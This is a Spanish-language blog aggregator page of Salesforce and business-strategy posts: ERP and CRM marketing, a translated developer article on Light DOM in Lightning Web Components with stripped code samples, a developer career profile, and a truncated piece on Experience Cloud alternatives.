Categorías
Estrategias para Empresas

¿Por qué deberías considerar un software ERP para tu empresa?

Introducción En el mundo empresarial actual, la gestión eficiente de los procesos y la toma de decisiones estratégicas son fundamentales para el éxito de una empresa. Para lograrlo, es necesario contar con herramientas tecnológicas que faciliten estas tareas. Una de estas herramientas es el software ERP (Enterprise Resource Planning, por sus siglas en inglés), que […]

Categorías
Estrategias para Empresas

Cómo optimizar tus procesos empresariales con Odoo Open ERP

Introducción En el mundo empresarial actual, la eficiencia y la optimización de los procesos son fundamentales para el éxito de una empresa. Una forma de lograr esto es a través de la implementación de un sistema ERP (Enterprise Resource Planning, por sus siglas en inglés). Odoo Open ERP es una de las opciones más populares […]

Categorías
Certificaciones

Cómo aprobar el examen de certificación Salesforce Certified AI Associate

Última actualización el 7 de septiembre de 2023 por Rakesh Gupta Como nuevo Salesforce Certified AI Associate, comparto mis experiencias de estudio contigo y quiero que seas el próximo en superarlo Así que, ¡prepárese y sumérjase! 👉 Ya que estás aquí, es posible que desees

El post Cómo aprobar el examen de certificación Salesforce Certified AI Associate appeared first on Campeón de la Automatización.

Cómo aprobar el examen de certificación Salesforce Certified AI Associate appeared first on Campeón de la Automatización

Categorías
Administración de Salesforce

Enviar, registrar, repetir: registro de alertas de correo electrónico como actividades

Última actualización el 24 de octubre de 2023 por Rakesh Gupta Big Idea or Enduring Question: ¿Cómo se registran los correos electrónicos enviados con la acción ‘enviar correo electrónico’? Objetivos: Después de leer este blog, serás capaz de: Utilizar el flujo activado por registro para enviar una alerta por correo electrónico. Utilizar la acción de flujo «Enviar correo electrónico». Utilizar

The post Enviar, registrar, repetir: registro de alertas de correo electrónico como actividades appeared first on Campeón de la Automatización.

Las alertas de correo electrónico se envían por correo electrónico

Categorías
Plataforma Salesforce

Un día en la vida de un nuevo programador de Salesforce

Ingresar en el ecosistema de Salesforce puede ser una experiencia desalentadora pero emocionante. Hace poco más de un año, me incorporé a Giveclarity como consultor técnico en prácticas. Tras tres meses de formación, me adentré en el dinámico mundo de la consultoría. Como nuevo miembro del equipo técnico, me dedico a todo tipo de tareas, desde trabajar en […]

The post Un día en la vida de un nuevo codificador de Salesforce appeared first on Salesforce Ben.

Categorías
Inteligencia Artificial

¿Sabe qué hay en la hoja de ruta de Salesforce para la IA?

Después de la plétora de emocionantes anuncios de IA en Dreamforce, sabemos que hay un montón de emocionantes innovaciones de IA a la vuelta de la esquina. Pero con tanto que esperar, ¿cómo podemos estar al tanto de lo que está por venir y cuándo? Las hojas de ruta de productos de Salesforce son la clave para estar al tanto de lo que se […]

planea y [..

La entrada ¿Sabe qué hay en la hoja de ruta de la IA de Salesforce? appeared first on Salesforce Ben.

Categorías
Plataforma Salesforce

Arquitectos de Salesforce: From Good to Great With Design Thinking

«¿Cuál cree que es la diferencia entre un buen y un gran arquitecto de Salesforce?» Hace años, compartía un taxi después de Dreamforce con un amigo arquitecto de Salesforce y serpenteábamos entre el tráfico atascado en el centro de San Francisco. Surgió el tema de por qué muchos aspirantes a arquitectos fracasan en su primer intento en los exámenes de CTA. Pues bien, […]

El post Arquitectos de Salesforce: From Good to Great With Design Thinking appeared first on Salesforce Ben.

Los arquitectos de Salesforce: De buenos a excelentes con Design Thinking

Categorías
Estrategias para Empresas

Cómo la consultoría de AWS puede maximizar el ROI de adopción

Cada vez más organizaciones de todos los sectores están considerando la migración a AWS para aprovechar los beneficios de una mayor flexibilidad, seguridad avanzada y una gama de sólidos servicios de AWS. Según Statista, el segmento de AWS crece al menos un 20% cada año. A pesar de todas las ventajas potenciales de la plataforma en la nube de AWS, su implementación tiende a llevar tiempo […]

The post Cómo la consultoría de AWS puede maximizar el ROI de la adopción appeared first on Salesforce Ben.

Categorías
Estrategias para Empresas

IA para TI: los nuevos lanzamientos de IA de Dreamforce 2023

Con la IA como prioridad para todos los líderes de TI, descubra cómo estos nuevos lanzamientos de IA están impulsando la productividad y la eficiencia de los equipos de TI.

Categorías
Plataforma Salesforce

Salesforce Inspector Reloaded

Salesforce Inspector es una extensión de navegador (¡una gran noticia tanto para usuarios de Chrome como de Firefox!) que le permite interactuar fácilmente con los datos y navegar a las secciones de configuración de una forma más eficaz que la navegación estándar. Se trata de una solución esencial para ahorrar tiempo a todos los profesionales que trabajan con Salesforce. Este post entrará en los detalles […]

El post Salesforce Inspector Reloaded appeared first on Salesforce Ben.

Categorías
Estrategias para Empresas

3 consejos de atención al cliente para ofrecer siempre una experiencia excelente

¿Cómo puede ofrecer siempre un servicio al cliente increíble? Aprenda cómo las personas, los procesos y la tecnología trabajando juntos pueden ayudarle a obtener constantemente reseñas de cinco estrellas.

Categorías
Plataforma Salesforce

Planificación de la fusión de una organización de Salesforce: tres riesgos principales que se deben evitar

La gestión de múltiples instancias de Salesforce es un escenario que podría enfrentar una empresa en crecimiento. Aquí, cada instancia de Salesforce contiene datos y procesos comerciales cruciales que pueden requerir consolidación. La situación más común en la que se requiere consolidación es el resultado de fusiones y adquisiciones. Aparte de las fusiones, las organizaciones pueden adoptar Salesforce en distintas etapas de crecimiento […]

La publicación Planificación de una fusión de organizaciones de Salesforce: los tres riesgos principales que se deben evitar apareció por primera vez en Salesforce Ben .

8256706222173 administradores, arquitectos, analistas de negocios, consultores

Categorías
Estrategias para Empresas

101 Tácticas Para Una Negociación Exitosa

En un estudio de investigación realizado por alumnos universitarios una década atrás, más de un tercio de los participantes contestaron que casi nunca o nunca negociaban con otras personas. Sin embargo, la verdad es  completamente diferente. Todo en la vida es negociable, bajo cualquier condición, en todo momento, argumentan Peter B. Stark y Jane Flaherty. […]

Categorías
Estrategias para Empresas

Claves Para Manejar Equipos Globales Con Exito

A medida que crece la economía mundial más empresas están ayudando a la expansión internacional. Esto se refiere a la confianza en la fuerza de trabajo dispersa. Se ha transformado en algo muy común el tener empleados remotos en diferentes lugares. La mayoría de los empleados prefieren trabajar con empresas que ofrezcan trabajo remoto. Considerando […]

Categorías
Estrategias para Empresas

Desmitificando Light DOM y sus casos de uso ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Desmitificando Light DOM y sus casos de uso | Blog de desarrolladores de Salesforce

Light DOM es una función de Lightning Web Components que ha estado disponible de forma general en Lightning Experience, Experience Cloud, LWC OSS (código abierto) y todas las versiones de la aplicación móvil Salesforce desde Summer '23 .

Los componentes web Lightning, de forma predeterminada, se representan en DOM oculto , lo que proporciona una encapsulación y seguridad sólidas para sus componentes. Sin embargo, al mismo tiempo, evita el estilo global y bloquea las integraciones de terceros que introspeccionan el interior de sus componentes. Light DOM es una característica que se puede habilitar de forma granular en componentes seleccionados, de modo que Shadow DOM no los afecte.

¿Cómo funciona el DOM ligero?

Usemos un componente web Lightning muy simple como ejemplo.

holaCodey.html

<dx-code-block title language="html" code-block="

Hello Codey!

«>

holaCodey.js

En el ejemplo anterior, el DOM oculto predeterminado del componente evita que una regla CSS definida en el componente principal o el host alcance el elemento <p> . Además, no permite que el código JavaScript externo al componente consulte el elemento <p> mediante las API de consulta del navegador.

Para activar el DOM ligero para un componente, debe especificar el renderMode ligero en su archivo JavaScript y la directiva de plantilla lwc:render-mode en la etiqueta <template> del componente. Ambos cambios son necesarios debido a la forma en que se compilan los componentes web Lightning.

holaCodey.html

<dx-code-block title language="html" code-block="

Hello Codey!

«>

holaCodey.js

Cuando activa el DOM claro en un componente, el marcado del componente se adjunta al elemento anfitrión en lugar de a su árbol de sombra. Luego puede acceder al marcado desde otros componentes de la página como cualquier otro contenido en el host del documento que no esté protegido por Shadow DOM.

Los componentes DOM ligeros permiten el uso de API de consulta de navegador estándar como querySelector y querySelectorAll . En este caso, en lugar de usar this.template.querySelector , debes usar this.querySelector .

holaCodey.js

O más simplemente, a menudo puedes usar la directiva lwc:ref en ambos casos (componentes DOM sombreados y claros) y omitir el querySelector .

holaCodey.html

<dx-code-block title language="html" code-block="

Hello Codey!

«>

holaCodey.js

Cuándo usarlo y cuándo no usarlo

Light DOM es una opción para cada componente individual. Sus efectos no se aplicarán a otros componentes a menos que también opten por participar. Tenga en cuenta que los componentes base siempre se representan en DOM oculto.

Recomendamos habilitar DOM ligero si tiene bibliotecas que necesitan acceder a los componentes internos mediante API de consulta de navegador estándar, aplicar estilos globales o necesita más flexibilidad para implementar las mejores prácticas de accesibilidad, siempre y cuando el componente no exponga datos confidenciales. Cubriremos estos casos de uso con más profundidad en la siguiente sección.

No recomendamos habilitar DOM ligero para un componente si ese componente aparece o funciona con datos confidenciales. El uso de DOM ligero elimina la encapsulación de DOM en sombra y expone los componentes al raspado de DOM. Por lo tanto, tenga en cuenta esta importante consideración.

Casos de uso habilitados por DOM ligero

Light DOM permite varios casos de uso que anteriormente no eran compatibles.

1) Soporte de bibliotecas que necesitan acceso a las partes internas de un componente

Light DOM permite el uso de bibliotecas que necesitan acceso a los componentes internos. Un buen ejemplo de esto son las bibliotecas de análisis utilizadas en los sitios de Experience Cloud, como Google Analytics, ya que necesitan acceso a los componentes internos para obtener mejores resultados.

Podemos probar este caso de uso, incluido el componente helloCodey anterior, en un componente principal mascotChanger de la siguiente manera.

mascotChanger.html

<dx-code-block title language="html" code-block="
«>

mascotChanger.js

Tenga en cuenta que, aunque el párrafo consultado pertenece al componente helloCodey , podemos acceder a él con this.template.querySelector , porque pertenece al DOM ligero secundario. Sin embargo, si el componente helloCodey no tuviera habilitado el DOM ligero, querySelector habría devuelto null .

También puede acceder a los componentes internos del DOM ligero desde un script que se carga como un recurso estático en la página, siempre y cuando todos los componentes ancestros estén habilitados para el DOM ligero. Por ejemplo, en un sitio LWR Experience Cloud, que es DOM completamente ligero, puede agregar un recurso estático de JavaScript que encuentre los componentes internos helloCodey de la siguiente manera.

myJSResource.js

2) Implementación más sencilla de componentes profundamente anidados

Otro ejemplo en el que esto puede resultar útil es implementar componentes complejos y profundamente anidados. En ese caso, es posible que prefiera tener un único componente DOM de sombra en el nivel superior y componentes DOM claros dentro para evitar gastos generales. Por ejemplo, un componente de tabla de datos personalizado puede tener solo un gran componente DOM de sombra alrededor de todo, en lugar de una sombra para cada fila y celda de la tabla.

Esta implementación facilita la consulta de sus propios elementos desde el componente de nivel superior de su jerarquía y también la implementación de la accesibilidad. Además, hay una ligera mejora en el rendimiento en algunos casos de uso al usar DOM claro sobre DOM sombreado, lo que se debe principalmente a la sobrecarga de simplemente crear nodos de sombra adicionales.

3) Estilo global

Light DOM también facilita el estilo global, ya que permite que los estilos CSS caigan en cascada en el marcado del componente. Por ejemplo, un componente DOM ligero puede establecer un estilo que se carga y luego se aplica una vez para todos los componentes DOM ligeros de la página. La inyección de estilos globales a través de DOM ligero solo se admite en sitios de Experience Cloud, editor de contenido CMS o Sales Enablement.

Por ejemplo, definamos un componente colorChanger de la siguiente manera.

colorChanger.html

<dx-code-block title language="html" code-block="
«>

colorChanger.js

colorChanger.css

El color de fondo azul se aplicará a los párrafos de todas las instancias del componente helloCodey en la página, ya que está habilitado para DOM claro.

En la mayoría de los casos, no querrás que tu estilo se filtre a otros componentes. Eso todavía es posible para componentes DOM ligeros. Solo necesita colocar esas reglas de estilo en un archivo *.scoped.css , para que tengan como alcance el componente DOM ligero. El CSS con alcance está escrito exactamente igual que el CSS normal, pero solo se aplicará a ese componente sin filtrarse.

Tenga en cuenta que si las reglas de estilo se cargan globalmente como recursos estáticos en una página de Lightning Experience o un sitio de Experience Cloud, se les quitará el alcance y se aplicarán tanto a los componentes DOM claros como también a los componentes DOM de sombra, ya que la sombra sintética no evitará que se filtren. Esta es una limitación que se solucionará una vez que la sombra nativa sea totalmente compatible (actualmente en Developer Preview ). Cuando la sombra nativa está habilitada, solo los componentes habilitados para DOM claro heredarán los estilos globales.

4) Implementación más flexible de las mejores prácticas de accesibilidad

Light DOM permite que un componente haga referencia a la i d un elemento que vive en otro componente separado habilitado para Light DOM. Esto le permite vincular dos elementos utilizando los atributos i d y aria , lo que le otorga flexibilidad adicional para implementar las mejores prácticas de accesibilidad en sus proyectos. Mejoremos nuestro componente mascotChanger para demostrar esto.

mascotChanger.html

<dx-code-block title language="html" code-block="

«>

mascotChanger.js

mascotaNombreInput.html

<dx-code-block title language="html" code-block="

«>

mascotaNombreEtiqueta.html

<dx-code-block title language="html" code-block="

«>

Tenga en cuenta que Salesforce está trabajando actualmente con el W3C para agregar nuevos estándares, de modo que el DOM oculto nativo pueda participar en estos patrones de accesibilidad. Esto significa que, en el futuro, este caso de uso ligero de DOM no será necesario. Como parte de nuestros esfuerzos de accesibilidad, también patrocinamos a Igalia para implementar parcialmente ARIA Element Reflection , que ahora es totalmente compatible con Safari y parcialmente con Chrome. Si quieres saber más sobre este tema, echa un vistazo a nuestra propuesta cross-root-aria , el repositorio para el grupo de trabajo Modelo de objetos de accesibilidad .

La siguiente tabla resume los casos de uso y dónde se admiten.

Experiencia en la nube Experiencia relámpago Aplicaciones móviles de Salesforce LWC OSS/LWR en Node.js*
Soporte de bibliotecas que necesitan acceso a las partes internas de los componentes.
Implementación más sencilla de componentes profundamente anidados
Estilo global No No
Implementación más flexible de las mejores prácticas de accesibilidad

*Si se utiliza DOM de sombra nativo en lugar de sombra sintética . La sombra nativa es la opción predeterminada para LWC OSS y LWR en Node.js.

Otras Consideraciones

Cuando se trabaja con DOM ligero, hay algunas consideraciones adicionales a tener en cuenta, entre ellas:

  • Los eventos no se reorientan con DOM ligero. Lea más en la guía para desarrolladores .
  • No hay soporte de navegador para espacios fuera del DOM oculto, por lo que se emula. Esto implica que algunas funciones, como los enlaces de ciclo de vida, no están disponibles en ellos. Eche un vistazo a la documentación para saber más.
  • Por ahora, los componentes ligeros habilitados para DOM no se pueden empaquetar.

Conclusión

En esta publicación de blog, revisamos qué es el DOM ligero, los casos de uso que permite y las consideraciones a tener en cuenta para decidir qué componentes habilitarán la función. Todos los ejemplos que se muestran en este blog se encuentran en un repositorio de GitHub que puedes probar tú mismo.

Para obtener más información sobre DOM ligero en la plataforma Salesforce, lea la documentación o, si está trabajando fuera de la plataforma, lea la documentación OSS .

Si decide seguir adelante y transformar sus componentes DOM ocultos en componentes DOM claros, consulte esta herramienta creada por Salesforce Engineering para simplificar la migración.

Sobre el Autor

Alba Rivas trabaja como Principal Developer Advocate en Salesforce. Puedes seguirla en Linkedin , Twitter o GitHub .

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Categorías
Estrategias para Empresas

Reseñas de 5 estrellas o quejas de los clientes: por qué es importante el CRM de su centro de contacto

Piense en su última experiencia frustrante de servicio al cliente. Lo más probable es que implicara hablar con agentes, intentar resolver el problema de muchas maneras (agotadoramente) y repetir la situación una y otra vez. ¿No existe una manera más fácil de resolver los problemas de los clientes, sin una revisión exhaustiva en las redes sociales? Sí, y el software CRM del centro de contacto puede hacerlo realidad.

El software CRM para centros de contacto, también conocido como software de gestión de relaciones con los clientes, es una herramienta utilizada por los centros de contacto para mejorar las experiencias de los clientes. El software almacena información sobre los clientes, rastrea las interacciones con los clientes y simplifica los canales de comunicación y servicio al cliente , todo en un solo lugar. En resumen, ayuda a las empresas a resolver problemas más rápidamente.

Dado que el mal servicio es la razón número uno por la que los consumidores dejan de comprarle a una empresa, brindar un buen servicio al cliente nunca ha sido más importante. Pero, ¿es el software CRM para centros de contacto la mejor opción para su negocio? Abordemos las preguntas más comunes para ayudarle a decidir.

Modernice su centro de contacto

La combinación adecuada de canales y herramientas de atención al cliente puede ayudarle a ser más eficiente y mejorar la satisfacción del cliente. Nuestra guía revela cómo las organizaciones de servicios de alto rendimiento lo hacen posible.

¿Cuáles son los beneficios del software CRM para los centros de contacto?

Invertir en software CRM para centros de contacto puede ayudarle de varias maneras clave, que incluyen:

  • Una experiencia de cliente perfecta: el software CRM del centro de contacto permite a los agentes de servicio al cliente manejar las preguntas y problemas de los clientes en todos los canales. Ya sea que sus clientes llamen, envíen correos electrónicos o publiquen en las redes sociales (o una combinación de los tres), su empresa puede brindarles la experiencia consistente que sus clientes esperan.
  • Mejor colaboración : con funciones como gestión de casos y herramientas colaborativas de servicio al cliente, los agentes pueden compartir información, hacer preguntas y derivar casos fácilmente a expertos en la materia. Esto conduce a una resolución de problemas más rápida y precisa.
  • Más opciones de autoservicio : el software CRM para centros de contacto ayuda a las organizaciones a crear una experiencia de autoservicio en línea, lo que significa que los clientes pueden encontrar soluciones y obtener actualizaciones sobre sus casos sin la necesidad de comunicarse con el servicio de atención al cliente. Esto no sólo mejora la satisfacción del cliente, sino que también reduce los costos de servicio y los tiempos de respuesta.

¿Cómo funciona el software CRM para los centros de llamadas frente a los centros de contacto?

Aunque algunas personas utilizan los términos call center y contact center indistintamente, existen diferencias importantes. Es importante comprender cómo se puede utilizar el software CRM para cada uno.

Los centros de llamadas se centran en resolver los problemas de los clientes únicamente por teléfono, por lo que requieren menos recursos que los centros de contacto. Esto significa que los centros de llamadas pueden ser más rentables y al mismo tiempo brindar un excelente servicio al cliente (especialmente si sus clientes prefieren usar el teléfono). La desventaja: debido a que se centran únicamente en las llamadas, están limitados en otras opciones de servicio. Aun así, los equipos que utilizan el modelo de centro de llamadas aún pueden integrar soluciones CRM para servicios como asistencia de agentes de guardia , capacitación para equipos de servicio y transcripción de llamadas en tiempo real.

Por el contrario, un contact center gestiona mucho más que llamadas. En un centro de contacto, los agentes utilizan correos electrónicos, chat en vivo, pantalla compartida, redes sociales, mensajes de texto, videoconferencias y más. Las empresas suelen utilizar este enfoque para comunicarse con más clientes a través de más canales en menos tiempo.

La tecnología adecuada lo hace posible. Por ejemplo, el software CRM del centro de contacto incluye automatización del flujo de trabajo y herramientas de inteligencia artificial como chatbots , formas comunes de brindar un servicio al cliente proactivo a través de múltiples canales. Además, los análisis basados en inteligencia artificial de CRM pueden ayudarlo a comprender las necesidades y el comportamiento de los clientes, mientras que el software de reconocimiento de voz puede identificar rápidamente a los clientes según sus patrones de habla. Y la IA predictiva también se puede utilizar para ayudar a los agentes a responder consultas comunes de forma más rápida y precisa.

¿Cómo se elige el mejor CRM para contact center?

Seleccionar el mejor software CRM de centro de contacto para su empresa es una decisión importante y requiere una consideración cuidadosa. Al decidir entre soluciones, piense en:

  • Escalabilidad: a medida que su negocio crece, no querrá tener que capacitar a los agentes en otra solución cada pocos años. Asegúrese de que cualquier CRM de centro de contacto pueda adaptarse a la evolución del tamaño de su empresa, su base de clientes y sus canales de servicio.
  • Integración: cuando los sistemas están aislados, es más difícil para los agentes resolver problemas complejos de los clientes que pueden involucrar múltiples interacciones y productos. En su lugar, asegúrese de que cualquier CRM de centro de contacto pueda conectar los datos de los clientes entre departamentos, sistemas y perfiles, para que pueda personalizar la experiencia de sus clientes y resolver problemas más rápido.
  • Facilidad de uso: los agentes ya desempeñan un papel desafiante, sin necesidad de presentarles software complicado. ¿Pueden implementar fácilmente un CRM de centro de contacto? ¿Cuáles son los tiempos de entrenamiento y cómo mejora sus interacciones diarias? ¿Pueden utilizar un único panel de vidrio para gestionar todo el trabajo, en lugar de girar entre varios sistemas?
  • Análisis e informes: con el aumento de los casos de clientes, el aumento de la rotación y los problemas más complejos de los clientes, las organizaciones de servicio al cliente necesitan datos más que nunca. El CRM de centro de contacto adecuado proporcionará información fundamental sobre la salud de su organización de servicio al cliente. Buenos lugares para comenzar: valores de llamadas, tiempos de espera promedio, satisfacción del cliente y NPS.

También es importante evaluar la reputación de un proveedor de CRM, sus capacidades de automatización e inteligencia artificial, sus opciones de atención al cliente y sus precios para garantizar que se ajuste bien a las necesidades de su centro de contacto.

¿Cómo se obtiene el máximo ROI de un CRM de contact center?

Las herramientas de CRM pueden ayudarle a conectarse con los clientes de forma rápida y sencilla de varias maneras, pero aún quedan algunos pasos por seguir para ver realmente los resultados que desea, más rápido. La forma en que utilice el software depende en última instancia de los problemas de servicio al cliente que intente resolver.

A continuación se muestran algunas formas comunes de hacer que un CRM de centro de contacto funcione para usted:

  • Comience con un canal , como mensajería dentro de la aplicación, y luego agregue formas adicionales para que sus clientes se pongan en contacto, como chat, WhatsApp y teléfono.
  • Implemente chatbots con tecnología de inteligencia artificial (integrados directamente en la plataforma CRM) para facilitar la automatización del servicio al cliente personalizado en todos los canales.
  • Diseñe recorridos de cliente personalizados que faciliten que los clientes obtengan ayuda de servicios automatizados o de un agente humano, garantizando que todos reciban el soporte que necesitan en el canal que prefieran.
  • Aumente la productividad con una colaboración y comunicación más eficiente entre equipos y departamentos. Los flujos de trabajo automatizados pueden ayudarle a optimizar las tareas manuales (y repetitivas), como seguimientos o escalaciones.

Comenzando con el software CRM del centro de contacto

Invertir en una nueva tecnología empresarial (incluso una como un software CRM para centros de contacto que pueda tener un impacto inmediato) puede parecer desalentador. Para profundizar aún más, obtenga más información sobre la estrategia del centro de contacto en Trailhead .

Maximice el rendimiento de su centro de contacto

Su centro de contacto debe ser un centro de participación omnicanal moderno que agrade tanto a los agentes como a los clientes. Vea lo que es posible con el software de centro de contacto integrado en su CRM, impulsado por IA y automatización.

Categorías
Desarrollo en Salesforce

Hema Kumar realiza el trabajo de sus sueños como desarrolladora ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Hema Kumar realiza el trabajo de sus sueños como desarrolladora | Blog de desarrolladores de Salesforce

Conoce a Hema Kumar La desarrolladora de Salesforce, Hema Kumar , siempre había soñado con una carrera en el sector tecnológico, pero las circunstancias familiares le impidieron cumplir ese sueño. A pesar de una oferta de una buena facultad de ingeniería lejos de casa, tuvo que obtener un título en ciencias en la universidad local.

Cuando comenzó la pandemia de COVID-19, Hema había estado buscando trabajo como asistente de enseñanza mientras trabajaba a tiempo completo como compradora de viviendas en ASDA. La enviaron a casa durante el encierro y quería dedicar su tiempo a hacer algo productivo. El cuñado de Hema trabajaba en Accenture y le sugirió que explorara Salesforce a través de Trailhead , la puerta de entrada al ecosistema de Salesforce, donde cualquiera puede aprender de forma gratuita las habilidades más demandadas y relevantes de la actualidad, obtener credenciales dignas de un currículum y conectarse a redes globales. oportunidades.

" Debido a la naturaleza interactiva de Trailhead", recuerda Hema, "y al gran apoyo de los grupos Trailblazer, pronto me sentí parte de Salesforce Ohana". Continuó aprendiendo en Trailhead con resultados impresionantes: hasta la fecha, completó 43 senderos, obtuvo 316 insignias y cinco superbadges, y acumuló 196.000 puntos. El arduo trabajo de Hema también le valió cuatro certificaciones de Salesforce , incluidas Administradora y Creadora de aplicaciones , lo que inicialmente la llevó a considerar la carrera profesional de Administradora de Salesforce.

Debido a la naturaleza interactiva de Trailhead y al gran apoyo de los grupos Trailblazer, pronto me sentí parte de Salesforce Ohana.

Luego, Hema encontró un curso para desarrolladores de Salesforce impartido por FDM , un socio de Salesforce Workforce Development, y decidió inscribirse. El extenso curso de 12 semanas le enseñó habilidades de desarrollo esenciales e incluyó práctica práctica, proyectos y una evaluación exhaustiva. Ella lo recuerda como “emocionante, desafiante y muy intenso” y, a través de perseverancia y dedicación, completó con éxito el programa.

Poniendo sus nuevas habilidades a trabajar en su primer trabajo tecnológico

Después de graduarse del curso FDM, Hema tardó aproximadamente un año en conseguir su primer trabajo como desarrolladora. FDM la ayudó a conectarse con empleadores de Salesforce y comenzó a entrevistarse con National Grid ESO para un puesto como desarrolladora junior de Salesforce. Consiguió el trabajo y desde entonces se ha convertido en uno de los miembros clave del equipo de desarrollo de Salesforce de su empresa. “Gracias al equipo de FDM por apoyarme”, dice, “y gracias a National Grid por brindarme esta oportunidad y creer en mí”.

El papel de Hema en National Grid gira en torno al apoyo al desarrollo, la personalización y la configuración como parte de la entrega de DevOps de su equipo. La mayor parte de su trabajo incluye la creación de objetos, campos, reglas de validación, flujos, clases de Apex y desencadenadores. Además, recientemente comenzó a trabajar para mejorar sus Lighting Web Components (LWC). Hema también cree que las buenas habilidades de comunicación son esenciales para una colaboración eficaz en equipo y para mantener a todos actualizados sobre el estado de los proyectos individuales, los riesgos y otras inquietudes.

Consejos para aspirantes a desarrolladores: comience con Salesforce

Para Hema, Salesforce le ha brindado un camino para generar confianza en sus habilidades y hacer realidad su sueño. Ella recomienda la misma experiencia a “cualquiera que sea dedicado, disciplinado, pueda administrar el tiempo con criterio y esté lleno de entusiasmo por aprender”.

Además de la sólida plataforma de aprendizaje Trailhead, Salesforce ofrece oportunidades de tutoría, una comunidad global de desarrolladores Trailblazer de Salesforce y eventos de Salesforce como formas de interactuar con sus pares. Los nuevos desarrolladores pueden beneficiarse de la comunidad al encontrar información útil, solicitar ayuda oportuna u obtener asesoramiento profesional.

Lo que más le gusta a Hema de una carrera profesional dentro del ecosistema de Salesforce es la naturaleza integral del soporte en cada paso del camino. “Es un paquete completo”, afirma, “desde el inicio de mi aprendizaje hasta conseguir mi primer trabajo, no tuve que buscar ayuda o consejo en ningún otro lugar”.

La historia de Hema destaca cómo Salesforce ayuda a personas técnicas y no técnicas a alcanzar sus objetivos. Y añade: "Salesforce tiene una variedad de opciones profesionales de nivel inicial adecuadas para todas las personas, independientemente de sus antecedentes".

Salesforce tiene una variedad de opciones profesionales de nivel inicial adecuadas para todas las personas, independientemente de sus antecedentes.

Para conocer desarrolladores como Hema y ampliar sus habilidades técnicas, únase a la comunidad de desarrolladores de Salesforce y sea parte de la conversación sobre todo lo relacionado con el desarrollo de Salesforce.

Sobre el Autor

Christie Fidura es la directora de participación de desarrolladores globales de Salesforce. En este puesto, busca involucrar y elevar a la comunidad de desarrolladores y trabajar directamente con ellos para comprender sus desafíos, preocupaciones, logros y sus inspiraciones. Puede encontrar a Christie en la comunidad Trailblazer en www.salesforce.com/devcommunity . Christie, community manager certificada y comercializadora galardonada con múltiples premios, cree en el buen código, la comunidad y la igualdad.

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Categorías
Plataforma Salesforce

Guía definitiva de 150 preguntas sobre Salesforce Service Cloud: ¡domine cada detalle!

Temas cubiertos en la entrevista de Salesforce Service Cloud: Conocimientos generales y características Gestión de casos Soluciones y base de conocimientos Consola de servicio Portales/comunidades de clientes y agentes Flujo de trabajo y automatización: Informes y paneles en Service Cloud Integración de CTI y telefonía Servicio al cliente en redes sociales Chat y mensajería Integración […]

Categorías
Desarrollo en Salesforce

Las Mejores Alternativas a Salesforce Experience Cloud

Última actualización el 22 de septiembre de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cuáles son las mejores alternativas a Experience Cloud del mercado? ¿Y es posible encontrar una herramienta sin código que le permita crear portales y aplicaciones totalmente personalizables?

Objetivos:

Después de leer este blog, tendrás:

  • Comprensión de Salesforce Experience Cloud, incluidas sus fortalezas y debilidades.
  • Conocimiento de los pros y los contras de utilizar desarrollo personalizado para crear portales y aplicaciones web.
  • Una introducción a Titan Web, con una explicación de cómo esta herramienta de código cero puede brindarle la libertad de crear cualquier aplicación web o portal que desee.

El director de ventas Eric Brown se acercó a Isabella Stewart , administradora de Salesforce en Gurukul On Cloud (GoC). Eric quiere un sistema totalmente digitalizado para gestionar los procesos internos de recursos humanos. La directora de recursos humanos y su equipo están muy ocupados utilizando procesos manuales y parcialmente digitalizados para contratar, gestionar nóminas y cuidar el bienestar de los empleados. ¡Asegurarse de que todo el papeleo y la administración estén actualizados es una pérdida de hasta 12 horas cada semana! Está empezando a ser abrumador.

La empresa quiere un portal para empleados rentable y totalmente personalizable, integrado con Salesforce, que no requiera codificación ni conocimientos técnicos especiales para su implementación. Saben que Salesforce Experience Cloud es una posible solución, pero también les preocupa que sea costoso y no lo suficientemente flexible para sus necesidades. Entonces, ¿cuáles son las alternativas de Experience Cloud ?

Experiencia en la nube

Salesforce Experience Cloud, anteriormente conocida como Salesforce Community, se introdujo en 2013 como una plataforma para crear comunidades en línea de marca. A lo largo de los años, Salesforce Experience Cloud evolucionó con actualizaciones y mejoras. Hoy en día, sirve como una solución integral para crear portales atractivos, aplicaciones web, comunidades y experiencias de autoservicio, lo que permite a las organizaciones ofrecer interacciones fluidas e impulsar el compromiso de clientes, socios y empleados.

La creación de aplicaciones web y portales de autoservicio con Experience Cloud puede mejorar la experiencia de sus empleados en el lugar de trabajo y aliviar la presión de su departamento de recursos humanos. Un portal de autoservicio o una aplicación web creada con Experience Cloud proporciona a los empleados acceso directo a su información personal y profesional, lo que facilita la actualización de información y registros en cualquier momento o lugar.

Echemos un vistazo más de cerca a algunas de las ventajas y desventajas de utilizar Experience Cloud para crear portales para su organización.

Las mayores ventajas de Experience Cloud:

  • Plantillas listas para usar para impulsar su implementación
  • Soluciones Lightning Bolt disponibles de forma gratuita o compradas en Salesforce AppExchange
  • Acceso completo a los datos de Customer 360 guardados en Salesforce
  • Salesforce Experience Cloud funciona a través de un software intuitivo de arrastrar y soltar, por lo que no es necesario tener ninguna experiencia técnica especial ni conocimientos de codificación.
  • Dado que Experience Cloud es nativo de Salesforce, no es necesario realizar ningún trabajo de integración adicional. El software ya habla el idioma de los administradores de Salesforce y tiene la interfaz de usuario con la que estarían familiarizados.
  • Puedes crear páginas públicas y privadas. La ventaja de esto es que sólo los usuarios con los permisos de acceso adecuados podrán visitar espacios específicos.
  • Las opciones listas para usar de Experience Cloud le brindan G2M rápido y lo más probable es que pueda crear su portal o sitio en uno o dos días.
  • También tiene la opción de diseñar su portal o sitio web de la manera que desee utilizando imágenes y colores personalizados para que coincidan con la apariencia de su marca.
  • Listo para dispositivos móviles

Contras de Experience Cloud:

  • Las opciones listas para usar no le brindan mucha flexibilidad para personalizar y ajustar el diseño de su página para satisfacer sus necesidades.
